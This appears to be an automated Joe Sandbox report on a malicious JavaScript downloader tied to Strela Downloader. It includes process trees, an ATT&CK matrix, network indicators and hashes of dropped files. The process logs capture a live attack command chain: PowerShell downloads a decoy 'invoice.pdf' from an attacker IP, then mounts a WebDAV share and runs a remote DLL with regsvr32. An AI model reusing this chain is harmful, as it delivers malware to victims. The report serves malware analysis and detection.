Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
6942228092691529249.js	15%	Virustotal		Browse
6942228092691529249.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/l	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2963319546.0000020F30800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1747518100.0000020F30AC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000006.00000002.1748191732.000001F3614C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1748286252.000001F3614FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1747518100.0000020F30AC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/L	net.exe, 00000006.00000003.1745192852.000001F3614FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748286252.000001F3614FA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/l	net.exe, 00000006.00000003.1745192852.000001F3614FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748286252.000001F3614FA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589043
Start date and time:	2025-01-11 08:46:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6942228092691529249.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 52.6.155.20, 3.233.129.217, 3.219.243.226, 2.16.168.107, 2.16.168.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 4.245.163.56, 23.47.168.24, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:47:34	API Interceptor	22x Sleep call for process: powershell.exe modified
02:47:39	API Interceptor	1x Sleep call for process: net.exe modified
02:47:39	API Interceptor	2x Sleep call for process: svchost.exe modified
02:47:52	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2784527361260704938.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	89131879533771361.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24283946104055016.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26680121751816526037.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82408542104643172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073758149816685
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrB:KooCEYhgYEL0In
MD5:	634733C1B87EA6312A91EEACD37E3B6D
SHA1:	AECFAB1486A5CCB3EF6D45E7647FC95A1739827C
SHA-256:	618897AA5E20FCFE3636E0CE8A9F107DEF3837DA0C32132051F14F74FC159EDD
SHA-512:	76BD817ED1D1A1B7257DAA662B26BB17B42149C5E022AA19F66DB2742FCED2947BFADFB66DAC3F2B8A8B45F54C5F472ABBF28C27A0A643B44304E7A455B76689
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xcca9782e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42210931788634787
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	DF031A58B39E2D586E5DEE9326676801
SHA1:	C2F51F083CA734D1CA4D5722AB8F5DF2AC61BC6E
SHA-256:	82F0D762C762D42412CEC6B4B13957C3FF251FB51787B6F4325BBBDE3842712C
SHA-512:	0CFB01AC250D5CC599B1459D1D55E5E4F98C284C957EF1ED627659F6C15F22D57FB3C8FD61EF104DD2980F9DA6DBF47D11FCB8E4ED6176EED3CE1D0481838DAA
Malicious:	false
Preview:	.x.... .......A.......X\...;...{......................0.!..........{A.'/...}a.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................Po.y'/...}a....................I'/...}a..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07713242299053057
Encrypted:	false
SSDEEP:	3:kR8Ye1MluvCjn13a/2Ppl/AllcVO/lnlZMxZNQl:kmz1Mlua53q2PDAOewk
MD5:	A65956699459D589AABCAF6056BADDCA
SHA1:	C50DE7AC8120BBDA780D192AC293F8AF1384D313
SHA-256:	BAFE5CC0E656E7EB8B16C39EFF4DF4337821C9EE337840686D0A42A0CBA73251
SHA-512:	B5579144F062E2F98E37B0863C37B4D9DAB30F925031BE26DDD032A4824F45D2073E64019CA8FBE641FFE868AAB88BB0EC01C269013C7FF4E7FDBFC64697B61E
Malicious:	false
Preview:	.mvK.....................................;...{..'/...}a......{A..............{A......{A..........{A]...................I'/...}a.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.246490643504722
Encrypted:	false
SSDEEP:	6:iOWtcU1yq2Pwkn2nKuAl9OmbnIFUtstbS1ZmwStQglRkwOwkn2nKuAl9OmbjLJ:7Wtl4vYfHAahFUtstG1/Stlz5JfHAaSJ
MD5:	70833D4127A386E8C563DE94458E0EE1
SHA1:	0348EF0327098C1E3CB80F3685C65FFFCE8E662E
SHA-256:	479D1C3DFBD3B8E25FFB200C3F9535D6538088AC46AAB7EA107CCF9800EAF660
SHA-512:	DA97241C064C080B071E304ADF65D6A0F7D566D61E5DF4F19F3F9C2F51655506DE97EDE6FDCC13CE7F3A8799514383D180698CBC5C31945862835419A517DF94
Malicious:	false
Preview:	2025/01/11-02:47:39.383 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:47:39.386 1c14 Recovering log #3.2025/01/11-02:47:39.387 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.246490643504722
Encrypted:	false
SSDEEP:	6:iOWtcU1yq2Pwkn2nKuAl9OmbnIFUtstbS1ZmwStQglRkwOwkn2nKuAl9OmbjLJ:7Wtl4vYfHAahFUtstG1/Stlz5JfHAaSJ
MD5:	70833D4127A386E8C563DE94458E0EE1
SHA1:	0348EF0327098C1E3CB80F3685C65FFFCE8E662E
SHA-256:	479D1C3DFBD3B8E25FFB200C3F9535D6538088AC46AAB7EA107CCF9800EAF660
SHA-512:	DA97241C064C080B071E304ADF65D6A0F7D566D61E5DF4F19F3F9C2F51655506DE97EDE6FDCC13CE7F3A8799514383D180698CBC5C31945862835419A517DF94
Malicious:	false
Preview:	2025/01/11-02:47:39.383 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:47:39.386 1c14 Recovering log #3.2025/01/11-02:47:39.387 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.201287541090579
Encrypted:	false
SSDEEP:	6:iOW+Jr4q2Pwkn2nKuAl9Ombzo2jMGIFUts8FJZmwS8FDkwOwkn2nKuAl9Ombzo23:7WOr4vYfHAa8uFUts8FJ/S8FD5JfHAaU
MD5:	5062C675729D1351F0CAFEAD2155E4E2
SHA1:	9F1FFF5CFE5F600936D70A23F83FA0175C293509
SHA-256:	6DB56F73E6E31FD70C2B254D40B3CE6F81D45A5FAD98F2BD6B88D7690F0C0E5C
SHA-512:	A60026A82B3B2616651B6F0B7EBDAA237671EC478BF11A7FE2A7DE851F9FA82FE483368A5B7B5448C69A12FF52160F95BA54BE8A79F33EC6F88778A7E2D4FB22
Malicious:	false
Preview:	2025/01/11-02:47:39.475 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:47:39.477 1cb4 Recovering log #3.2025/01/11-02:47:39.477 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.201287541090579
Encrypted:	false
SSDEEP:	6:iOW+Jr4q2Pwkn2nKuAl9Ombzo2jMGIFUts8FJZmwS8FDkwOwkn2nKuAl9Ombzo23:7WOr4vYfHAa8uFUts8FJ/S8FD5JfHAaU
MD5:	5062C675729D1351F0CAFEAD2155E4E2
SHA1:	9F1FFF5CFE5F600936D70A23F83FA0175C293509
SHA-256:	6DB56F73E6E31FD70C2B254D40B3CE6F81D45A5FAD98F2BD6B88D7690F0C0E5C
SHA-512:	A60026A82B3B2616651B6F0B7EBDAA237671EC478BF11A7FE2A7DE851F9FA82FE483368A5B7B5448C69A12FF52160F95BA54BE8A79F33EC6F88778A7E2D4FB22
Malicious:	false
Preview:	2025/01/11-02:47:39.475 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:47:39.477 1cb4 Recovering log #3.2025/01/11-02:47:39.477 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.94579404208297
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqryhsBdOg2HdkAcaq3QYiubInP7E4T3y:Y2sRdsYdMHI3QYhbG7nby
MD5:	206703ABED503D4C568277F0E86A7DD4
SHA1:	489382C4669A5B82C1E3A4AE43CEB925E1E1A1C6
SHA-256:	F268B1EEE82117A6208A292FC3735665CC5B70F9B1BCB05335222EB18DB53C7B
SHA-512:	7001F6F272DB69ABECD06AD8840CFF33E992B986073F57FFF0FC5B66910E6B7BF8AA01846FEFB55400DDDB33E6BB0DC3EBCAED8B3B059B8D1E6D35DEE1726CC0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141671844554","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134368},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a90a515b-a066-45d9-bc0e-b1fca42ed2f5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.94579404208297
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqryhsBdOg2HdkAcaq3QYiubInP7E4T3y:Y2sRdsYdMHI3QYhbG7nby
MD5:	206703ABED503D4C568277F0E86A7DD4
SHA1:	489382C4669A5B82C1E3A4AE43CEB925E1E1A1C6
SHA-256:	F268B1EEE82117A6208A292FC3735665CC5B70F9B1BCB05335222EB18DB53C7B
SHA-512:	7001F6F272DB69ABECD06AD8840CFF33E992B986073F57FFF0FC5B66910E6B7BF8AA01846FEFB55400DDDB33E6BB0DC3EBCAED8B3B059B8D1E6D35DEE1726CC0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141671844554","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134368},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.256010387840925
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7FDyrW:etJCV4FiN/jTN/2r8Mta02fEhgO73goT
MD5:	E9021068ECACDE56B20A81FDAABDADEE
SHA1:	097077A7008FCBB436222E03AA47EB5705EF3451
SHA-256:	5B0C4A984AB559C24257663140847650E5D1BC30F1F9EEDFD680B3A20F5B9700
SHA-512:	90297A84C24F6BC048E4A57630448319ECB06AB85F3491B7A10FDF9D98B6288A8FF1BA1E3C0F6A007BFC2A9DA360AB7ED346373B17344C46E0C1084ABF90C54D
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.212982135438345
Encrypted:	false
SSDEEP:	6:iOWpZHRN4q2Pwkn2nKuAl9OmbzNMxIFUtspUK3JZmwSpWcDDkwOwkn2nKuAl9Omk:7WpZHL4vYfHAa8jFUtspUsJ/SpBD5Jfv
MD5:	FEE5F85A06BD6307623BCD62C5837FE0
SHA1:	7B5804E18FC597E1D3C53E980ADA405170B67DB3
SHA-256:	98F2285B5068D68264AC76BD774A258DF2D442B9AD9F614F630DEE1F9B7A905D
SHA-512:	69C879C50CB6A33C9CCF25C29047047DAFADD1C01B9E6D76A3BCA035B0DCEB78026369735BD844040ECE677820AE21B55CF00F4A23CDE408867AA9A0136DD029
Malicious:	false
Preview:	2025/01/11-02:47:39.708 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:47:39.719 1cb4 Recovering log #3.2025/01/11-02:47:39.731 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.212982135438345
Encrypted:	false
SSDEEP:	6:iOWpZHRN4q2Pwkn2nKuAl9OmbzNMxIFUtspUK3JZmwSpWcDDkwOwkn2nKuAl9Omk:7WpZHL4vYfHAa8jFUtspUsJ/SpBD5Jfv
MD5:	FEE5F85A06BD6307623BCD62C5837FE0
SHA1:	7B5804E18FC597E1D3C53E980ADA405170B67DB3
SHA-256:	98F2285B5068D68264AC76BD774A258DF2D442B9AD9F614F630DEE1F9B7A905D
SHA-512:	69C879C50CB6A33C9CCF25C29047047DAFADD1C01B9E6D76A3BCA035B0DCEB78026369735BD844040ECE677820AE21B55CF00F4A23CDE408867AA9A0136DD029
Malicious:	false
Preview:	2025/01/11-02:47:39.708 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:47:39.719 1cb4 Recovering log #3.2025/01/11-02:47:39.731 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444836913797311
Encrypted:	false
SSDEEP:	384:yezci5tYiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r/s3OazzU89UTTgUL
MD5:	D3ADF630F7585E13E920F6775E3A0C25
SHA1:	DD588F52FB3234BF6D28FA3D4F1D4C109A84F5C5
SHA-256:	C77532B196F487F650C7DC9A3DF11CD6EC3BACE36B8EEF61DE07608B1F560356
SHA-512:	1E836FAEE0E420D5DC7FDF1E11192FCD7577BDB9B0DED3E70FD52DF3ABAE3DCB3A0A96D62D5BAF5780A07829AD869C80B8BCF7DC0E43D1907ACEBC9C799B53BB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.774481291243266
Encrypted:	false
SSDEEP:	48:7MDp/E2ioyVsioy9oWoy1Cwoy18KOioy1noy1AYoy1Wioy1hioybioy6oy1noy1L:74pjusFjXKQXHb9IVXEBodRBkf
MD5:	EA7AD0FDC21381F1FA3C82E4D1B1B77D
SHA1:	9E3FB2DFD34760197D17108FDFF78E9839976E91
SHA-256:	DDD583E87E25241EE5B643EAD71967F317503820F0FD4CE1A39C2AA2A18C7EC0
SHA-512:	E867616ECCD810252A69C4A0414DCD4E0BDA69CA80B27D547DCF86084434944BBD540A64A88A63B07CCF105236567BEA434C8B030AC6C6236192D8E91D67DE0F
Malicious:	false
